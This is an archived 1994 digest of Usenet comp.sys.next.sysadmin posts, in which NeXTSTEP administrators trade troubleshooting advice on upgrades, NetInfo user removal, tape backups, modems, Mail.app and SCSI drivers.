login) if the .file belongs to the user in question. (I checked
this under 3.0 and 3.2).
If an ordinary user creates a /.logout file, it will be ignored
when root logs out.
There may well be ways to break security if "/" is 1755 but this
isn't one of them.
BTW, I am no fan of security-through-obscurity, but if you do know
any way to break security, please do the responsible thing and let
NeXT know about it first, and give them at least a chance to fix it before
giving it away to the entire world.
--
Steve Hayman
Steve Hayman + Associates NeXTSTEP Consulting Toronto, Ontario
shayman@Objectario.com (416) 769-8995
Newsgroups: comp.sys.next.sysadmin
From: woo@ornl.gov (John W. Wooten)
Subject: Can't telnet into my system after upgrading to 3.2
Message-ID: <1994Feb21.214141.22839@ornl.gov>
Sender: usenet@ornl.gov (News poster)
Organization: Oak Ridge National Laboratory
Date: Mon, 21 Feb 1994 21:41:41 GMT
I just upgraded to 3.2 on NextCube. Things are going okay except for
bitter slowness(?). But, now I try to telnet to my machine and get
polaris:woo 52 % telnet woonext
Trying 128.219.96.3... Connected to woonext.dsrd.ornl.gov.
Escape character is '^]'.
NeXT Mach (woonext) (ttyp2)
Password:
Last login: Mon Feb 21 16:33:32 from polaris
You have mail.
Connection closed by foreign host.
I've removed the .cshrc and .login files, check the /etc/login.std and
/etc/cshrc.std files (they are default versions).
What might be causing this? I run a gopher server that allows telnet
connections to port 70 and that works fine. popMail, and imapd work
fine also.
Any ideas appreciated.
- - - - - - - - -
J. W. Wooten
From: akonstan@budapest.math.macalstr.edu (Alexander Konstantinou)
Newsgroups: comp.sys.next.sysadmin
Subject: stale NFS handles on NS3.2
Date: 21 Feb 1994 20:11:45 GMT
Organization: Macalester College, Department of Mathematics and Computer Science
Message-ID: <2kb4i1$acc@mckinley.cit.macalstr.edu>
Keywords: NeXT, NFS
As the subject states I have noticed a significant increase in NFS stale
handles after upgrading to 3.2. I was wondering if anyone had a similar
problem. I can find no relevant messages is the logs or in the nfsstat
statistics. Our wires were recently checked so I am pretty confident that
it is not the wiring.
Thanks in advance for your help. Will summarize as needed.
--
Alexander V. Konstantinou akonstan@math.macalstr.edu (NeXTMail OK)
From: anderson@macc.wisc.edu (Jess Anderson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Can't telnet into my system after upgrading to 3.2
Date: 21 Feb 1994 22:53:19 GMT
Organization: Division of Information Technology, UW-Madison
Message-ID: <2kbe0v$fuv@news.doit.wisc.edu>
References: <1994Feb21.214141.22839@ornl.gov>
In article <1994Feb21.214141.22839@ornl.gov>,
John W. Wooten <woo@ornl.gov> wrote:
>I just upgraded to 3.2 on NextCube. Things are going okay except for
>bitter slowness(?). But, now I try to telnet to my machine and get
I just upgraded to 3.2 a couple days ago, seems about the
same speed to me. But I hadn't actually tried your other
problem yet, so I was at first alarmed:
>polaris:woo 52 % telnet woonext
>Trying 128.219.96.3... Connected to woonext.dsrd.ornl.gov.
>Escape character is '^]'.
>
>
>NeXT Mach (woonext) (ttyp2)
>
>Password:
>Last login: Mon Feb 21 16:33:32 from polaris
>You have mail.
>Connection closed by foreign host.
% telnet jsbach
Trying 144.92.225.42... Connected to jsbach.macc.wisc.edu.
Escape character is '^]'.
NeXT Mach (jsbach) (ttyp7)
Password:
Last login: Mon Feb 21 16:21:58 on ttyp6
[motd deleted]
You have mail.
Mon Feb 21 16:51:19 CST 1994
Last login was Feb 21 16:22
[jsbach:anderson]~[1]
---
Seems to work for me.
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From: pauls@locust.cic.net (Paul Southworth)
Newsgroups: comp.sys.next.sysadmin
Subject: NeXT dump/rdump replacement?
Followup-To: poster
Date: 22 Feb 1994 00:41:20 GMT
Organization: ETEXT
Message-ID: <2kbkbg$oq8@spruce.cic.net>
This must be an FAQ, but I couldn't locate an answer. Is there a for-real
dump/rdump utility available for the NeXT that will let me dump a raw
scsi device over the net to a Sun's tape drive? The originals in NS3.2
(and presumably earlier) appear to be sorry excuses for backup utilities.
--
Paul Southworth
CICNet Systems Support
pauls@cic.net
Newsgroups: comp.sys.next.sysadmin
From: shayman@Objectario.com (Steve Hayman)
Subject: Re: "Cannot delete name object with children"
Message-ID: <1994Feb22.003135.347@objectario.com>
Sender: shayman@objectario.com
Organization: Steve Hayman + Associates / NeXTSTEP Consulting / Toronto
References: <2k9gtl$p1t@msuinfo.cl.msu.edu>
Date: Tue, 22 Feb 1994 00:31:35 GMT
Here's the deal.
User accounts are created in NetInfo as a two-level directory.
The top level /users/username directory contains the usual
properties you'd find in a password file - I created a
user called "test", and niutil shows me this:
# niutil -read . /users/test
name: test
passwd: *
uid: 100
gid: 20
realname: test user
home: /test
shell: /bin/csh
_writers_passwd: test
and there's also a subdirectory /users/test/info, where the user's
language preference, or something, is stored. Recall that
"niutil -list" shows you subdirectories (if any), and "niutil -read" shows
you the contents of a particular directory:
# niutil -list . /users/test
161 info
# niutil -read . /users/test/info
name: info
_writers: test
It's this subdirectory "info" that keeps you from being able to
remove the /users/test entry with "niutil -destroy" (or niload -d):
# niutil -destroy . /users/test
cannot destroy: Cannot delete name object with children
So, if you want to delete this users entry from the command line,
you have to do it in two steps.
# niutil -destroy . /users/test/info
# niutil -destroy . /users/test
That's it.
Personally I think it would be great if someone would write some
sort of curses-based netinfo browser that worked just like
NetInfoManager but ran inside a terminal window.
Regards,
steve
---
Steve Hayman shayman@Objectario.com
Steve Hayman & Associates, Toronto, Ontario
(416) 769-8995 NeXTSTEP Consulting
Newsgroups: comp.sys.next.sysadmin
From: esprit@netcom.com (Alan F. Perry)
Subject: Can I get the old login prompt under 3.1?
Message-ID: <espritCLLpzr.6Ky@netcom.com>
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
Date: Tue, 22 Feb 1994 01:11:48 GMT
I recently upgraded my 030 Cube to NS 3.1 from 3.0. I liked the older
login prompt better than the one under 3.1. Is there anyway that I can
change it back (other than the obvious "uninstall 3.1 and run 3.0 again").
--
----------------------------+-----------------------------------------------
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From: mow@marsu.tynet.sub.org (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: EATA timeout?
Date: 21 Feb 1994 09:50:44 +0100
Organization: Palumbian Research Labs
Message-ID: <2k9sl4$uu@marsu.tynet.sub.org>
References: <2k2ncf$9k3@osiris.wu-wien.ac.at> <next2.761654522@info2.rus.uni-stuttgart.de> <boonlow.761681086@sfu.ca>
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boonlow@kits.sfu.ca (Boon Chong Benjamin Low) writes:
>I boot the system up with installation diskette and CD in the NEC cdrom drive.
>reach (1) select english...
> (2) continue without loading additional drivers ...
>problem starts... :-((
>The screen and this messages comes out
>---------------------------------------
>resetting SCSI bus
>Eata controller at irq 15
>registering irq15 ( it should be for my DPT controller )
>sd0 : disk not ready
>type 1 to install NeXTSTEP
>(1) IDE disk #1
>io-status=13, scsi-status=8, sense key=0
>too many tries
>cd-rom disk could not be used
>installation cannot continue
>that's all, folks, sign...
>From then on, system will stop.
Remove your IDE drive by setting the CMOS harddisk entry to "not installed".
Be sure your SCSI disk is set to SCSI ID 0, and check if there is another
device that might use IRQ 15. I'd suggest removing the PAS adapter during
installation procedure, you still can add it after successful installation.
Hope that helps,
Markus.
--
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mow@marsu.tynet.sub.org on... NeXTSTEP / Unix / Novell / Windows NT
IRC: Marsu Veni, vidi, NeXTSTEPi.
From: 0005508785@mcimail.com (ErgoTech Development, Inc.)
Newsgroups: comp.sys.next.sysadmin
Subject: RE:Serial port interupts -- slow machine?
Date: 21 Feb 1994 21:19:28 -0600
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <92940222020729/0005508785NA5EM@mcimail.com>
Sherwood Botsford says:
>2. kermit file transfer from helios proceeds very fast, close to the max speed
>allowed by the modems. Going to helios there are many retries, and service is
>sporadic. E.g. There will be 5 packets sent in a second.
>A 5-15 second pause, then another burst of packets.
I don't claim to be an expert either on kermit, or MNP, but isn't there a
confict between the two. That is kermit sends a small packet to the modem.
The modem waits to fill up an MNP packet. The modem sees nothing, finally
timesout, and sends the MNP packet. And so on backwards and forwards. In
other words with small packets you are always waiting for MNP modems to
timeout, which makes the link slow.
While we are on the subject has anyone done time trials with SLIP on a 14,400
modem? They used to use a slow (300 baud) return channel, but I don't know
that they still do. The slow return channel makes them good for protocols like
ZMODEM, XMODEM etc. where the data is almost always one way. The return line
can effectively send back the minimal number of acknowledge characters
required. However they work very badly on links where there is significant
data travelling in both directions, such as SLIP. That is the modem must
constantly change directions (who has the 14,400 channel), which makes it
slower than running the modems with bi-directional channels at 9600.
Jim Redman
Newsgroups: comp.sys.next.sysadmin
From: Robert La Ferla <Robert_La_Ferla@hot.com>
Subject: Re: how to restart WorkspaceManager in NeXTStep 3.2?
Message-ID: <1994Feb21.205554.1535@hot.com>
Sender: robertl@hot.com
Organization: Hot Technologies
References: <2k9c4b$6m4@emoryu1.cc.emory.edu>
Date: Mon, 21 Feb 1994 20:55:54 GMT
The magic user was/is "exit". I haven't tested this under 3.2 though.
Robert La Ferla
Hot Technologies
NEXTSTEP ISV and Consulting
In article <2k9c4b$6m4@emoryu1.cc.emory.edu> labsha@cc.emory.edu
(Shilo) writes:
> Hello,
> Under NextStep 2.x, there was a word that you could type into the
> login window as a userid (with no passwd) which would restart the
> Workspace Manager. Is there such a method to restart the Workspace
> Manager under NS 3.2? What is it?
>
> thanx,
> shy
>
> P.S. Please reply directly to me. thanx.
>
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> | P.O. Box 21017, Emory University | BITNET: labsha@emoryu1
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From: Robert La Ferla <Robert_La_Ferla@hot.com>
Subject: Re: how to format an 3gb disk with ONE partition
Message-ID: <1994Feb21.205839.1595@hot.com>
Sender: robertl@hot.com
Organization: Hot Technologies
References: <2ka1e7$8eo@news.cs.tu-berlin.de>
Date: Mon, 21 Feb 1994 20:58:39 GMT
My understanding is that you cannot do this on NeXT Motorola systems
but may be able to do it with Intel systems There is a new
patch/driver available from NeXTanswers / ftp.next.com that allows
drives > 1gb to be formatted. I don't know offhand if it can
accomodate 3gb. Typically, very large drives like that are
partitioned.
Robert La Ferla
Hot Technologies
NEXTSTEP ISV and Consulting
In article <2ka1e7$8eo@news.cs.tu-berlin.de> gonzo@cs.tu-berlin.de (S.
F. Ruehauf) writes:
>
> hello
>
> old question, all over again:
>
> is it possible to format a 3 gb drive with 512b blocks
> to only one partition?
>
> Buildiosk is too dumb, do I have to format with 1k blocks?
>
> later
> stephan
> --
> Stephan Fruhauf gonzo@cs.tu-berlin.de
> what is X400? s=gonzo ou=opal p=tu-berlin a=dbp c=de
Newsgroups: comp.sys.next.sysadmin
From: Robert La Ferla <Robert_La_Ferla@hot.com>
Subject: sendmail 8.6.6
Message-ID: <1994Feb21.210313.1660@hot.com>
Sender: robertl@hot.com
Organization: Hot Technologies
Date: Mon, 21 Feb 1994 21:03:13 GMT
I just wanted to point out that Vince Demarco of SHL SystemHouse has
done a fine job of porting sendmail 8.6.6 to NS 3.2. My additions to
his work are to the user database functionality (using Berkeley DB
1.73) and the mc configuration files. If I have the time, I'll add MAB
support and additional NetInfo enhancements.
Robert La Ferla
Hot Technologies
NEXTSTEP ISV and Consulting
Newsgroups: comp.sys.next.sysadmin
From: rob@brewster.demon.co.uk (Rob Heyes)
Subject: Re: Serial port interupts -- slow machine?
References: <92940222020729/0005508785NA5EM@mcimail.com>
Organization: Kallisti Systems
Date: Tue, 22 Feb 1994 04:43:29 +0000
Message-ID: <761917409snx@brewster.demon.co.uk>
Sender: usenet@demon.co.uk
In article <92940222020729/0005508785NA5EM@mcimail.com> 0005508785@mcimail.com (ErgoTech Development, Inc.) writes:
> Sherwood Botsford says:
> While we are on the subject has anyone done time trials with SLIP on a 14,400
> modem? They used to use a slow (300 baud) return channel, but I don't know
> that they still do. The slow return channel makes them good for protocols like
The slow back channel only applies to old USR HSTs (older HSTs had a 300bps
back channel, while more recent ones had a 450bps one).
14400 in both directions is called V32bis and works just fine for SLIP.
e.g. the USR Sportster, USR Courier V32bis and HSTDS(new), ZOOM etc. etc.
all work fine for SLIP (and PPP) connections.
Rob Heyes
Newsgroups: comp.sys.next.sysadmin
From: fo6r@ellis.uchicago.edu (Eric's NeXT Fortune)
Subject: Mail.app - Unable to write Active.mbox - problem
Message-ID: <1994Feb22.065400.663@midway.uchicago.edu>
Sender: news@uchinews.uchicago.edu (News System)
Organization: University of Chicago -- Academic Information Technologies
Date: Tue, 22 Feb 1994 06:54:00 GMT
I've got a Mail.app problem. For the three users that I have
tested this for,
I get the error message
Unable to write Active.mbox. File system error: No such
file or directory
This is strange because
1. Mail was working yesterday
2. the mailbox shows up and I can read old messages
3. the permissions on the Mailboxes and Active.mbox
folders are correct
I installed the sendmail patch a couple of days ago.
This is unpleasant because we cannot read new mail. I tried
removing the Active.mbox, but that did not help.
Help would be greatly appreciated.
- eric fortune
fo6r@midway.uchicago.edu
NeXTMail not OK for the moment........
Newsgroups: comp.sys.next.sysadmin
From: cedman@princeton.edu (Carl Edman)
Subject: Re: RE:Serial port interupts -- slow machine?
In-Reply-To: 0005508785@mcimail.com's message of 21 Feb 1994 21:19:28 -0600
To: 0005508785@mcimail.com (ErgoTech Development, Inc.)
Message-ID: <CEDMAN.94Feb22000817@capitalist.princeton.edu>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
References: <92940222020729/0005508785NA5EM@mcimail.com>
Date: Tue, 22 Feb 1994 05:08:16 GMT
In article <92940222020729/0005508785NA5EM@mcimail.com> 0005508785@mcimail.com (ErgoTech Development, Inc.) writes:
While we are on the subject has anyone done time trials with SLIP on a 14,400
modem? They used to use a slow (300 baud) return channel, but I don't know
that they still do. The slow return channel makes them good for protocols like
ZMODEM, XMODEM etc. where the data is almost always one way. The return line
can effectively send back the minimal number of acknowledge characters
required. However they work very badly on links where there is significant
data travelling in both directions, such as SLIP. That is the modem must
constantly change directions (who has the 14,400 channel), which makes it
slower than running the modems with bi-directional channels at 9600.
You are somewhat out of date. Virtually all 14.4kbps modems out there
today are V.32bis modems which are full duplex (using echo
cancellation) just like most V.32 9.6kbps modems, so you certainly get
an increase in bandwidth of almost 50% which is nice. And while ftp
speeds are slightly below the theoretical maximum reached by protocols
like ZMODEM they are still quite respectable considering the overhead
both from SLIP and TCP. I regularly see ftp transfer rates of almost
3 kBytes/sec for text files and 1.5 kBytes/sec for pre-compressed
archives using a NeXTstation mono non-turbo with a fairly old V32.bis
modem.
BTW, historically you are correct. The first high speed (i.e. 9.6kbps
and above) modems had asymmetrical transfer modes in which only a
small fraction of the bandwidth was available on the backward channel
(typically about 300 bps). This really did play havoc with standard
TCP/SLIP. However, even then it was reported that using TCP/CSLIP
(i.e. SLIP with Van Jacobsen TCP header compression) which drastically
cut the size of the return packets you could get good results.
Fortunately the days of asymmetrical connections are long since over.
Carl Edman
From: eps@futon.SFSU.EDU (Eric P. Scott)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: s/key for NeXT?
Date: 22 Feb 1994 08:52:19 GMT
Organization: San Francisco State University
Message-ID: <2kch43$3gc@nic-nac.CSU.net>
References: <1994Feb19.131902.1062@earlham.edu> <1994Feb20.152333.1077@earlham.edu>
In article <1994Feb20.152333.1077@earlham.edu>
tim@math.earlham.edu (Timothy J. McLarnan) writes:
>Manager, su, etc. Has anybody rewritten login, for instance?
Not since 2.x days ... it's on my "to do" list.
-=EPS=-
--
Tonya Harding's inspirational musical selections:
1) Beat It/Michael Jackson
2) Sledgehammer/Peter Gabriel
3) When I Need You/Leo Sayer
From: takken@raven.Stanford.EDU (Todd Takken)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: how to restart WorkspaceManager in NeXTStep 3.2?
Date: 22 Feb 1994 08:15:29 GMT
Organization: Stanford University
Distribution: su
Message-ID: <2kcev1$6j8@nntp2.Stanford.EDU>
References: <1994Feb21.205554.1535@hot.com>
In article <1994Feb21.205554.1535@hot.com> Robert La Ferla
<Robert_La_Ferla@hot.com> writes:
> The magic user was/is "exit". I haven't tested this under 3.2 though.
It still is "exit" in 3.2.
-- Todd Takken
takken@leland.stanford.edu
From: ritsch@iem.mhsg.ac.at (Winfried Ritsch)
Newsgroups: comp.sys.next.sysadmin
Subject: DatDrive HP35480A SCSI - restore Problems
Date: 22 Feb 1994 11:03:15 GMT
Organization: Graz University of Technology, Austria
Message-ID: <2kcopjINN4qp@fstgds15.tu-graz.ac.at>
Keywords: DAT Drive, Streamer, restore
Maybe a FAQ, but I didnt find something helpfull ....
I have a 4GB HP 35480A SCSI DAT Drive connected to my Black Next-NetworkServer (NS 3.1) und made a dump:
iem:1# dump 0ufs /dev/rst0 1200000 /dev/rsd0a
DUMP: Date of this level 0 dump: Tue Feb 22 10:39:55 1994
DUMP: Date of last level 0 dump: the epoch
DUMP: Dumping /dev/rsd0a (/) to /dev/rst0
..
DUMP: DUMP: 750654 tape blocks on 1 tape(s)
DUMP: DUMP IS DONE
DUMP:
level 0 dump on Tue Feb 22 10:39:55 1994
DUMP: Tape rewinding
and seemed to work fine, but the restore always failed:
iem:2# restore ifs /dev/rst0 1200000 /dev/rsd0a
ioctl MTFSF: I/O error
Tape/disk read error: I/O error
iem:3# restore tfs /dev/rst0 1200000 /dev/rsd0a
ioctl MTFSF: I/O error
Tape/disk read error: I/O error
Do anyone have any idea, why this fails or
also a HP DAT-Drive and how to dump and restore....
or is my Dat Drive broken.
Please Help wini
Newsgroups: comp.sys.next.sysadmin
From: perstoro@uriela.in-berlin.de (Wilhelm Schaefer)
Subject: Re: DatDrive HP35480A SCSI - restore Problems
Message-ID: <1994Feb22.144610.1225@uriela.in-berlin.de>
Sender: perstoro@uriela.in-berlin.de
Organization: NeXAPP
References: <2kcopjINN4qp@fstgds15.tu-graz.ac.at>
Date: Tue, 22 Feb 1994 14:46:10 GMT
In article <2kcopjINN4qp@fstgds15.tu-graz.ac.at> ritsch@iem.mhsg.ac.at
(Winfried Ritsch) writes:
#Maybe a FAQ, but I didnt find something helpfull ....
#
#I have a 4GB HP 35480A SCSI DAT Drive connected to my Black
Next-NetworkServer (NS 3.1) und made a dump:
#
#iem:1# dump 0ufs /dev/rst0 1200000 /dev/rsd0a
# DUMP: Date of this level 0 dump: Tue Feb 22 10:39:55 1994
# DUMP: Date of last level 0 dump: the epoch
# DUMP: Dumping /dev/rsd0a (/) to /dev/rst0
#..
# DUMP: DUMP: 750654 tape blocks on 1 tape(s)
# DUMP: DUMP IS DONE
# DUMP:
# level 0 dump on Tue Feb 22 10:39:55 1994
# DUMP: Tape rewinding
#
#and seemed to work fine, but the restore always failed:
#
#iem:2# restore ifs /dev/rst0 1200000 /dev/rsd0a
#ioctl MTFSF: I/O error
#Tape/disk read error: I/O error
#iem:3# restore tfs /dev/rst0 1200000 /dev/rsd0a
#ioctl MTFSF: I/O error
#Tape/disk read error: I/O error
#
#Do anyone have any idea, why this fails or
#also a HP DAT-Drive and how to dump and restore....
#or is my Dat Drive broken.
#
# Please Help wini
Try
mt rewind
(you will get an error, but it is _important_!)
mt -f /dev/rst0 rewind
restore -if /dev/rst0
This will work!
So long
*** perstoro ***
--
************************* NT == nice try ******************************
*| Wilhelm Schaefer| perstoro@uriela.in-berlin.de | NeXTmail please! |*
*| NeXT EnTHUSIAST | Voice +49 30 / 395 31 91 | FAX +49 30/39547 49|*
***********************************************************************
From: hketola@agsm.ucla.edu (Heikki Ketola)
Newsgroups: comp.sys.next.sysadmin
Subject: Mail.app: Permission to Active.mbox denied. Huh?
Date: 22 Feb 1994 16:59:03 GMT
Organization: The Anderson School at UCLA
skipped
Message-ID: <2kddkn$1bm@news.mic.ucla.edu>
MailFetch: Can't make a copy of spoolfile.
abraham:18# whoami
root
abraham:19# pwd
/
abraham:20# ls -alR Mail*
total 4
drwxrwxrwx 3 root 1024 Feb 22 08:22 ./
drwxrwxrwt 28 root 2048 Feb 22 08:22 ../
drwxr-xr-x 2 root 1024 Feb 22 08:20 Active.mbox/
Mailboxes/Active.mbox:
total 5
drwxr-xr-x 2 root 1024 Feb 22 08:20 ./
drwxrwxrwx 3 root 1024 Feb 22 08:22 ../
-rw-r--r-- 1 root 230 Feb 19 17:13 .dir3_0.wmd
-rw-rw-rw- 1 root 20 Feb 22 08:19 .lock
-rw-r--r-- 1 root 0 Feb 19 13:53 mbox
-rw-r--r-- 1 root 32 Feb 20 21:06 table_of_contents
abraham:21#
Heikki Ketola
!w
From: mike@whammo.media.mit.edu (Michael Hawley)
Newsgroups: comp.sys.next.sysadmin
Subject: PhotoCD on DEC (Toshiba) CD-ROM drives
Date: 22 Feb 1994 17:24:17 GMT
Organization: MIT Laboratory for Computer Science
Message-ID: <2kdf41$12q@GRAPEVINE.LCS.MIT.EDU>
A bunch of our DEC PC's have DEC RRD44-AA CD-ROM drives
(built by Toshiba). According to the specs, they are
compliant with Red-book, Yellow-book, CD-ROM XA, PhotoCD,
CD-Bridge, CD-I, and god knows what else. Unfortunately,
PhotoCD's don't work (this on a DEC d66 MTE): NeXT CD's work,
and audio CD's work, but PhotoCD's don't. Using an external
(Sony) SCSI CD drive the PhotoCD's came up just fine.
Ideas?
From: garth@cs.swarthmore.edu (Garth Snyder)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: DatDrive HP35480A SCSI - restore Problems
Date: 22 Feb 1994 19:13:30 GMT
Organization: Swarthmore College, Swarthmore, PA, USA
Message-ID: <2kdlgq$e8@larch.cc.swarthmore.edu>
References: <2kcopjINN4qp@fstgds15.tu-graz.ac.at>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Keywords: DAT Drive, Streamer, restore
ritsch@iem.mhsg.ac.at (Winfried Ritsch) writes:
> I have a 4GB HP 35480A SCSI DAT Drive connected to my Black Next
> NetworkServer (NS 3.1) und made a dump... it seemed to work fine, but
> the restore always failed.
Some DAT drives need to be sent a SCSI command to set the blocksize
appropriately for use with NEXTSTEP. There is a NeXTAnswer which
describes the problem and includes code for a program to send the command.
I just run the program from one of the /etc/rc* scripts.
Being able to dump but not restore is one symptom of this problem.
Garth
Newsgroups: comp.sys.next.sysadmin
From: Paul_Kunz@slac.stanford.edu (Paul Kunz)
Subject: fsck: cannot execute
Message-ID: <CLn41B.GD6@unixhub.SLAC.Stanford.EDU>
Sender: news@unixhub.SLAC.Stanford.EDU
Organization: Stanford Linear Accelerator Center
Date: Tue, 22 Feb 1994 19:12:46 GMT
I have a problem with i486 no-name clone (Tangant). It fails to boot
because it can't run fsck. Even booting single user mode, I can't run fsck
or a lot of other commands. I get
fsck: cannot execute
Commands that do work are cd and ls, even with options. But fsck, du, df,
stty, tset, etc wouldn't execute.
any ideas?
--
Paul F. Kunz Paul_Kunz@slac.stanford.edu (NeXT mail ok)
Stanford Linear Accelerator Center, Stanford University
Voice: (415) 926-2884 (NeXT) Fax: (415) 926-3587
Newsgroups: comp.sys.next.sysadmin
From: yanik@planon.qc.ca (Yanik Crepeau)
Subject: Re: What is Perl?
Message-ID: <1994Feb22.173643.1223@planon.qc.ca>
Sender: yanik@planon.qc.ca (Yanik Crepeau)
References: <2k5te7$bdn@news.iastate.edu>
Date: Tue, 22 Feb 1994 17:36:43 GMT
In article <2k5te7$bdn@news.iastate.edu> sela@iastate.edu writes:
>
> Call me ignorant, but could someone explain to me what Perl is?
>
> --
> *******************IOWA***STATE***UNIVERSITY********************
> * Brian Morrison sela@iastate.edu (NeXT Mail welcome!) *
> * --------------------------------------------------------- *
> * He who throws mud loses ground. *
> ****************************************************************
Extracted from the man page:
"PERL is an interpreted language optimized for scanning arbitrary text files, extracting
information from those text files, and printing reports based on that information. It's
also a good languaged form many system mangement tasks. The language is intended to be
pratical (easy to use, efficient, complete) rather than beautiful (tiny, elegant,
minimal). It combines (in the author's opinion, anyway) some of the best features of C,
SED, AWK and SH so people familiar with those languages should have little difficulty
with it. ... "
O'Reilly and Asssociates, Inc. describes PEARL (about the Book on the suject) as:
"This is the autoritative guide to the hottest new UNIX utility in years, co-authored by
the creator of that utility.
Perl is a language for easily manipuling text, files and processes. Perl provides a more
concive and readable wy in do many jobs that were formely accomplished (with difficulty)
by programming in the C language or on of the shells. Even though Perl is not yet a
standard part of UNIX, it is likely to be availabler whereever you choose to work. And if
it isn't, you can get it and install it easily and free of charge".
I have downloade a MAB version of PERL three (3) weeks ago and that tool works very well.
Yanik
--
Yanik Crepeau The power of OOP used to stop when
Programmer the programmer typed "make". With
Planon Telexpertise NEXTSTEP and PDO, that is not true
E-Mail: yanik@planon.qc.ca (NeXT) anymore!
From: guest@mrcnext.cso.uiuc.edu (Guest Account)
Newsgroups: comp.sys.next.sysadmin
Subject: How to unpack this stuff?
Date: 22 Feb 1994 22:08:42 GMT
Organization: University of Illinois at Urbana
Distribution: world
Message-ID: <2kdvpa$lhj@vixen.cso.uiuc.edu>
Keywords: beef, it's what's for dinner
Yo. I solved my hostname problem by re-installing 3.2 from a borrowed CD
and CD_ROM drive. Beforehand, I had to get my own treasury of nonsense off
the HD; I had nothing but floppies. Soooo...I made a huge 65MB tar file of
the apps and files i couldn't replace, and put them on floppies as
"chunks" (I dragged the tar icon onto the first floppy, got a Process
Panel message asking me if i wanted to create a compressed, multi-volume
file, and clicked Proceed). This method has worked OK before with smaller
files (i don't entirely trust it, but what else was i going to do?). All
was jake until I tried to reassemble the tar file so i could get my stuff
back. I had 162MB free after installing the NeXT packages, which ought to
have been enough, even for the temp file: 65MB x 2 = 130 MB. Instead, I
filled up the swapfile and crashed the machine 4 times. I tried using a
campus account on a Cube server, but apparently the "de-chunking" process
uses the local HD, because i barfed the slab i was using, too. Now this is
getting tiresome because I'm in need of little things like my company
letterhead, TextArt, various rendered images, etc. and i can't get to
them. I hope to get access to one of the campus servers directly, but in
the meantime, DOES ANYONE HAVE A CLUE AS TO WHY I CAN'T UNPACK THESE
@#$!%&!! FILES?
Disgruntled,
Steve Weintz
EthnoGraphics
indy@jg.cso.uiuc.edu
Newsgroups: comp.sys.next.sysadmin
From: Michael_Pizolato@afs.com (Michael Pizolato)
Subject: Re: Mail Pictures
Message-ID: <1994Feb22.125611.327@afs.com>
Sender: Michael_Pizolato@afs.com
References: <2ju8rd$rf@theborg.stack.urc.tue.nl>
Date: Tue, 22 Feb 1994 12:56:11 GMT
I have an entire procedure spelled out to handle this simply and
automatically. It's sitting in a NeXTMail message for anyone who's
interested. This is the same one I distributed before, so if you've
already got one from me it has not changed.
I'll send it to anyone who's interested.
Thanx,
Michael
--
Michael_Pizolato@afs.com
NeXTMail accepted
From: mow@marsu.tynet.sub.org (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: EATA timeout?
Date: 22 Feb 1994 09:23:34 +0100
Organization: Palumbian Research Labs
Message-ID: <2kcfe6$1j5@marsu.tynet.sub.org>
References: <next2.761654522@info2.rus.uni-stuttgart.de> <CLKCp4.75F@nexusadmin.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
nexus!dave@netcom.com(David W. Fahrney) writes:
>In article <next2.761654522@info2.rus.uni-stuttgart.de> next2@info2.rus.uni-stuttgart.de
>(Markus Wenzel) writes:
>!> rainer@wifzack (Rainer Staringer) writes:
>Me too! Me too! I am using the 2022 with a DEC 1GB drive in Dell Pentiums. Some
>machines don't have exhibit the problem but at least three of five have had this same
>nasty little problem. I haven't had the system hang fatally because eventually the SCSI
>bus resets and NeXTSTEP will continue and allow a Alt-NumLock halt. But you do have to
>be patient waiting for it to reset!
I got a forwarded mail from a Dell employee who states that we all need
BIOS/Firmware updates to the most recent version (don't know which rev.#)
from DPT. This is said to fix the problem.
Regards,
Markus.
--
Markus Wenzel System administration, Consulting, Networking
mow@marsu.tynet.sub.org on... NeXTSTEP / Unix / Novell / Windows NT
IRC: Marsu Veni, vidi, NeXTSTEPi.
From: mow@marsu.tynet.sub.org (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NextAnswers 1520/1521... (BEWARE!)
Date: 22 Feb 1994 09:27:06 +0100
Organization: Palumbian Research Labs
Message-ID: <2kcfkq$1k3@marsu.tynet.sub.org>
References: <2kadcp$mtr@enst.enst.fr>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Keywords: adaptec, scsi, bogus patch, nextanswers
philipp@res.enst.fr (Philippe-Andre Prindeville) writes:
> My machine rebooted (actually, my big toe brushed up
>against the "reset" button, really. No, this *isn't* funny)
>before I could FTP the *old* drivers and overwrite the bogon
>files.
> So I'm up proverbial shit creek without a paddle in a
>barb-wire canoe, as they say, and can't reboot.
Boot from CD-ROM, mount your root disk manually and copy the
original driver back from CD.
Regards,
Markus.
--
Markus Wenzel System administration, Consulting, Networking
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From: gt2780a@prism.gatech.EDU (David W. Rinker)
Newsgroups: comp.sys.next.sysadmin
Subject: Questions
Message-ID: <140679@hydra.gatech.EDU>
Date: 23 Feb 94 01:18:52 GMT
Sender: news@prism.gatech.EDU
Organization: Georgia Institute of Technology
I've got a barage of questions I was wondering if anyone can answer about
a Moto NeXT cube ('40) running system 2.1:
a) I've got an internal optical drive, is there a way to eject the disk
from the command line. umount will unmount it, but not eject it.
b) If I want to upgrade to NS 3.x, do I need a CD-ROM drive, everything
I've seen recently seems to be offered only on CD? While I'm at
it, where is a good place to get NS 3.2 either in the Atlanta
area, or via mail.. a student discount would be nice.
c) If I want to network this system to a PC running DOS/Windows to do
everything, including being a file server and a printer server:
1) What hardware should I get for my PC (i.e. ethernet card)?
2) What software should I get for my PC (DOS/Windows)?
3) Would I need a printer driver for the NeXT printer in Windows?
4) Do I need any additional hardware/software for the NeXT?
5) Would the PC be able to 'mount' the NeXT's hard drive/optical
drive as a file system, and would the NeXT be able to mount the PC's
hard drive as a file system?
Thanks for any info!
--
David W Rinker
Georgia Tech, Atlanta Georgia, 30332
Co-Op: CSX Transportation. Jax, FL 32202
Internet: gt2780a@acme.gatech.edu Non-NeXT Mail
